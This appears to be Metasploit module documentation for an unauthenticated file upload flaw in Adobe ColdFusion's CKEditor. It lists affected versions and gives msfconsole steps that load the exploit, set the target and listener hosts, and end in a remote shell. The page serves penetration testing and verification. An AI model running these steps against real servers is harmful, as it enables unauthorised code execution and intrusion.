## Description
|
||||
|
||||
A file upload vulnerability in the CKEditor of Adobe ColdFusion 11
|
||||
(Update 14 and earlier), ColdFusion 2016 (Update 6 and earlier), and
|
||||
ColdFusion 2018 (July 12 release) allows unauthenticated remote
|
||||
attackers to upload and execute JSP files through the filemanager
|
||||
plugin. Tested on Adobe ColdFusion 2018 v2018.0.0.310739.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
ColdFusion 11 (Update 14 and earlier),
|
||||
ColdFusion 2016 (Update 6 and earlier), and
|
||||
[ColdFusion 2018 (July 12 release)](https://bintray.com/eaps/coldfusion/cf%3Acoldfusion/2018.0.0)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `./msfconsole -q`
|
||||
2. `use exploit/multi/http/coldfusion_ckeditor_file_upload`
|
||||
3. `set rhosts <rhost>`
|
||||
4. `set lhost <lhost>`
|
||||
5. `exploit`
|
||||
6. Get a shell
|
||||
|
||||
